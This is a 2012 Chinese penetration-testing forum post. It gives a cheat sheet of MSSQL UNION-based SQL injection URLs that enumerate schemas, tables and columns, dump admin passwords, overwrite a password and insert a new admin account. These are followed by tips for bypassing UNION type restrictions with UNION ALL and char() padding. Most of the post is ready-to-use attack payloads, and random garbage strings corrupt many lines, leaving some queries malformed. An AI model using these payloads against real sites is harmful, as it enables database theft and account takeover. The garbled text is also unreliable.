中国网络渗透测试联盟

标题: MSSQL用union查询爆数据 [打印本页]

作者: admin    时间: 2012-9-15 14:26
标题: MSSQL用union查询爆数据
爆库:
  T7 \/ F  d# ~* xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
! [; v; m& q, Z2 i  G# o  MSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.( x' L& P, V/ V& j
爆下一个库:: {% K7 B6 K+ k2 S6 b% |# `" m
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
' H/ I' ?# R1 |" |3 z* T: r6 H6 d
8 ^' H- ~+ h' v' }! R/ |, C爆表:
7 z, B( P/ \) c3 a4 Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
- z  K/ D5 g1 i2 N6 @8 P2 W  j
0 [+ b; i7 }$ t9 L# MSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES./ |" e. L1 J% @& Z) [7 U

$ A3 M, T, ^+ k1 X- I+ \  Y爆下一个表/ `- R6 M5 V$ n$ v4 Z
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--2 b- Y$ e; `6 f( o7 }+ m( Y
) N+ [* M3 j0 S5 L  A
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
- `! J- J" z' H% E! B& t# s8 a: Q$ y9 g) a' z1 F
! i; t8 a* C* e+ u7 A8 K
6 r3 ?, K7 ?8 ~5 G0 k. H
爆字段:" v7 F# {: c8 d. w  p
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
2 ~$ a3 i" l$ f; q/ x
; ]- e$ a: q1 V7 p' [爆下一个字段
$ z& E4 |2 y4 e% ~  Fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--: c: L8 ^. i0 T

) I3 _/ g  p+ s5 m9 Q8 }http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
* X1 t) P+ @( {1 Z9 o8 D. ^, A
8 d8 W' `" @% u* ~3 j9 Q- [
) }3 t7 [, I: A9 n6 M+ p爆字段里的内容& V5 D8 S) f0 u
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
* j, W/ @) z9 G" q  s; ?* d1 ^8 \. `. F+ p& o; o
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--" a* m; l4 l; {0 M
. k) C. `3 g4 g/ U" m
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
" Q& v. h1 o: O" t1 x+ a/ O8 _- @  e* A0 g+ i+ R
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--( C' D4 D- L+ |) Y1 }, p" g1 z

* ^! T/ Z, |9 }- c更新字段里的内容$ a9 W) Z! g* l0 G$ `7 ?; I% z
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
: ?" y3 `6 {5 i( j6 R
: \% C) Y7 }$ l0 i4 w6 Khttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--% c( q1 `  {4 V# L: ]+ Z8 x/ @1 C
% c/ Q5 a- o  d! M

8 l) b2 |0 V: D  `7 M* O* D9 g! D) W* H7 U. g7 v. S1 P
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
6 H9 i  W1 O& `    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。; E& h$ z0 E) I& X4 h# ]& R
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
0 T) ?3 T+ s0 S& ^' }4 o    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。" v5 `0 i6 Z- ~( e: I# S5 S, x4 M0 c
$ f0 }( D' ]0 _  y- z) P. ]& ?7 ^
突了了大部份限制的语句% {* K% {& L& u  {& @0 [- x2 b3 N
and 1=2 union all select char(49),char(50),null,null;--0 L4 F. l5 A5 ]6 B
& @& n2 K6 U) @* t1 }$ S5 R7 G

' w# |- b& g# M) r2 X* o6 Q- Bnull也可以正常执行,不过没有回显,不好判断回显的列数。, U* o- [7 |; a
一般union遇到问题都是有text或者ntext字段,image的很少遇到2 A/ T; f5 u: z( b, F1 Y7 G
/ {& ?6 f( I" |$ Z
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
2 ^5 a. W8 w7 A+ P* Q% k3 b& J5 c

8 j0 Y" D; m, J




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2